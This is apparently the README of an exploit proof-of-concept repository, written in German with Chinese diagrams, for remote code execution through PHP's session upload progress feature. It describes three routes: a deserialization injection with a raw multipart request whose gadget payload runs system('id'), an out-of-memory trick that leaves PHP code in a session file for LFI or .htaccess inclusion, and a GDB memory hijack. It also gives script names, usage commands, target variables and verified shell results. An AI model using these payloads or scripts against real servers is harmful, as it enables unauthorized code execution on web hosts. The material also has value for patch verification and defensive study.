
CVE-2026-109619 — PHP Session Upload Progress → RCE PoC
Ausnutzung mehrerer Angriffswege des PHP Session Upload Progress-Mechanismus zur Erreichung von Remote Code Execution.
| Route | Kernprinzip | Anzahl Schwachstellen | Voraussetzungen | Nur HTTP |
|---|---|---|---|---|
| Deserialization Injection | session key pipe injection → Deserialisierung → __wakeup | 1 | gadget class + memchr bypass | ✓ |
| OOM + LFI/.htaccess | OOM behält session → include-Ausführung | 2 | LFI oder .htaccess + post_max_size ≥ memory_limit | ✓ |
| GDB-Speicherübernahme | UAF → gefälschte Struktur → Kontrollflussübernahme | 1 | SSH + GDB + debug symbols | ✗ |
Der Wert von PHP_SESSION_UPLOAD_PROGRESS wird ohne Bereinigung direkt in den session key eingefügt.
Die Injektion eines pipe | spaltet das Format des php session serializers auf und schleust ein beliebiges serialisiertes Objekt ein.
POST /any.php HTTP/1.1
Cookie: PHPSESSID=<32hex>
Content-Type: multipart/form-data
PHP_SESSION_UPLOAD_PROGRESS = |O:13:"Gadget":1:{s:3:"cmd";s:2:"id";}
file = (any data)
→ session decode → __wakeup() → system("id") → RCE
Einzelne HTTP-Anfrage, kein OOM erforderlich, kein LFI erforderlich.
Die Session-Encode-Funktion von PHP 8.x verfügt über einen memchr-Schutz, der | im Key blockiert; dieser muss per Binary-Patch umgangen werden.
PHP 7.x hat diesen Schutz nicht.
Technische Details → deser-inject.md
Erfolgreich in zwei völlig unterschiedlichen Umgebungen verifiziert:
| Target A | Target B | |
|---|---|---|
| OS | Ubuntu 24.04 | CentOS 7 |
| PHP | 8.4.26 | 7.4.33 |
| Apache | 2.4.58 | 2.4.6 |
| Protokoll | HTTP | HTTPS |
| Session-Pfad | /var/lib/php/sessions/ | /var/lib/php/session/ |
| Inklusionsmethode | .htaccess auto_prepend_file | LFI (reader.php) |
| Ergebnis | uid=33(www-data) | uid=48(apache) |
Dieselbe OOM-Primitive, ohne jegliche Speicheradressen, ohne GDB, ohne Debug-Symbole, auslösbar über PHP 7.x / 8.x hinweg und betriebssystemübergreifend.
Gepatcht in PHP 8.4.27 / 8.3.36 / 8.2.35 (2026-10-21), PHP 7.x hat keinen offiziellen Patch.
攻擊者 ──POST──▶ PHP (multipart + session upload progress)
│
├─ filename 中的 PHP 程式碼寫入 session 檔案
├─ POST body 超過 memory_limit → OOM
├─ OOM 阻止 session RSHUTDOWN → 檔案不被清除
│
攻擊者 ──GET───▶ 第二個漏洞 include session 檔案 → RCE
memory_limit → OOM tritt in der Phase sapi_activate() auf, session RSHUTDOWN wird nicht ausgeführt<?php diesen direkt ausNotwendige Bedingungen für die OOM-Auslösung: post_max_size ≥ memory_limit
| Einstellung | OOM |
|---|---|
post_max_size=8M, memory_limit=128M (PHP-Standard) | ✗ |
post_max_size=256M, memory_limit=128M (vom Administrator erhöht) | ✓ |
.htaccess überschreibt memory_limit / post_max_size | ✓ |
Technische Details (sapi_activate-Abbruchpfad, Session-Schreibmechanismus, Dateiformat) → oom-exploit.md
Unabhängig von einer zweiten Schwachstelle wird über GDB durch das Fälschen von Strukturen im Speicher die Kontrollflussübernahme erzielt. Erfordert SSH + sudo + GDB + debug symbols.
Technische Details → gdb-exploit.md
| Skript | Route | Voraussetzungen | Beschreibung |
|---|---|---|---|
http_rce.py | Deser Injection | gadget class + memchr bypass | Reines HTTP mit einer Schwachstelle, RCE mit einer einzigen Anfrage |
php2shell.py | OOM + LFI | Ziel weist LFI-Schwachstelle auf | Reines HTTP mit zwei Schwachstellen, keine Speicheradresse erforderlich |
test_http.py | OOM + auto_prepend | .htaccess bereits platziert, post_max_size ≥ memory_limit | .htaccess setzt auto_prepend_file |
test_default_http.py | OOM + auto_prepend | .htaccess bereits platziert, Apache AllowOverride All | .htaccess überschreibt alle Einstellungen, stock php.ini genügt |
test_oom.py | Nur OOM-Test | post_max_size ≥ memory_limit | Prüft nur, ob OOM ausgelöst wird |
test_gdb.py | GDB-Speicher-Hijacking | SSH + GDB + debug symbols | Eine einzige Schwachstelle, Details siehe gdb-exploit.md |
python3 http_rce.py "id"
python3 http_rce.py "uname -a; whoami"
Ändern Sie die Einstellungen TARGET, GADGET_CLASS usw. oben in http_rce.py.
Technische Details → deser-inject.md
1. POST multipart → OOM → session 檔案保留(含 PHP code)
2. GET /vuln.php?file=/var/lib/php/session/sess_<SID> → include → RCE
TARGET_HOST=10.0.0.1 TARGET_PORT=443 python3 php2shell.py
1. .htaccess 設定 auto_prepend_file 指向 session 檔案(事先放置)
2. POST multipart → OOM → session 檔案保留(含 PHP code)
3. GET /any.php → Apache 自動 prepend session 檔案 → RCE
php.ini wurde angepasst (post_max_size > memory_limit):
TARGET_HOST=10.0.0.1 python3 test_http.py
stock php.ini (.htaccess überschreibt sowohl memory_limit als auch post_max_size):
TARGET_HOST=10.0.0.1 python3 test_default_http.py
| Variable | Standardwert | Beschreibung |
|---|---|---|
TARGET_HOST | 127.0.0.1 | Ziel-IP oder Hostname |
TARGET_PORT | 80 oder 443 | HTTP/HTTPS-Port |
SESSION_PATH | /var/lib/php/sessions | Session-Dateiverzeichnis |
CMD | id | Auszuführender Befehl |
Der Session-Pfad variiert je nach Distribution: Debian/Ubuntu /var/lib/php/sessions/, CentOS/RHEL /var/lib/php/session/, Fallback /tmp/.
├── http_rce.py ← Deser Injection → 純 HTTP 單漏洞 RCE ★
├── php2shell.py ← OOM + LFI → RCE
├── test_http.py ← OOM + .htaccess → RCE(需調 php.ini)
├── test_default_http.py ← OOM + .htaccess → RCE(stock php.ini)
├── test_oom.py ← OOM 觸發測試
├── test_gdb.py ← GDB 記憶體劫持 → RCE
├── README.md
├── deser-inject.md ← Deserialization Injection 技術細節
├── oom-exploit.md ← OOM 技術細節
├── gdb-exploit.md ← GDB 路線技術細節
http_rce.py): PHP 8.x erfordert einen Binary-Patch, um den memchr-Schutz zu umgehen; eine nutzbare Deserialisierungs-Gadget-Klasse ist erforderlichphp2shell.py): Das Ziel muss einen LFI-Vektor aufweisentest_http.py, test_default_http.py): .htaccess muss bereits im Web-Root vorhanden sein und Apache AllowOverride All aktiviert habenpost_max_size ≥ memory_limit ist erforderlich